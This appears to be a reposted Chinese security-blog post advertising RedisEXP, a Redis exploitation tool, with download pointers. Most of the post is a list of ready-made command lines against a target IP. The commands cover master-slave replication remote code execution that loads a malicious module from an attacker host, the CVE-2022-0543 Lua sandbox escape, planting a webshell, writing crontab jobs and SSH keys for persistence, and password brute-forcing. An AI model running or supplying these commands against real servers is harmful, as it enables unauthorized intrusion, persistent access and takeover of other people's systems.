Redis 漏洞利用工具 -- RedisEXP
2023-2-6 08:2:39 Author: Web安全工具库(查看原文) 阅读量:102 收藏

===================================

免责声明
请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。工具来自网络，安全性自测，如有侵权请联系删除。

0x01 工具介绍

Redis 漏洞利用工具。

0x02 安装与使用

常用命令：

主从复制命令执行:RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -execRedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -exec -console
Linux:RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -exec -so exp.soRedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -exec -console -so exp.so
主从复制文件上传:RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -rfile dump.rdb -lfile dump.rdb -upload
主动关闭主从复制:RedisExp.exe -rhost 192.168.211.131 -slaveof
Lua沙盒绕过命令执行 CVE-2022-0543:RedisExp.exe -rhost 192.168.211.131 -lua -console
备份写 Webshell:RedisExp.exe -rhost 192.168.211.131 -shell
Linux 写计划任务:RedisExp.exe -rhost 192.168.211.131 -crontab
Linux 写 SSH 公钥:RedisExp.exe -rhost 192.168.211.131 -ssh
爆破 Redis 密码:RedisExp.exe -rhost 192.168.211.131 -brute -pwdf ../pass.txt
执行 Redis 命令:RedisExp.exe -rhost 192.168.211.131 -cli

0x03 项目链接下载

1、通过阅读原文，到项目地址下载

2、公众号后台回复：工具666，获取网盘下载链接

3、每日抽奖送书规则

· 推 荐 阅 读 ·

全书按照网络协议模型自下而上有系统地介绍了计算机网络的基本原理，并结合Internet给出了大量的协议实例。在讲述网络各层次内容的同时，还与时俱进地引入了z新的网络技术，包括无线网络、3G蜂窝网络、RFID与传感器网络、内容分发与P2P网络、流媒体传输与IP语音，以及延迟容忍网络等。本书的适用对象非常广泛。由于本书的重点立足于计算机网络的基本原理，同时兼顾了Internet体系结构与TCP/IP协议等内容


文章来源: http://mp.weixin.qq.com/s?__biz=MzI4MDQ5MjY1Mg==&mid=2247507463&idx=1&sn=4613431f9320dae1ed0eafa029d6ae43&chksm=ebb53104dcc2b812de5c6185757df57c44907e7b91493e27adc7bbc3fadbad6f078fb4d4856f#rd
如有侵权请联系:admin#unsafe.sh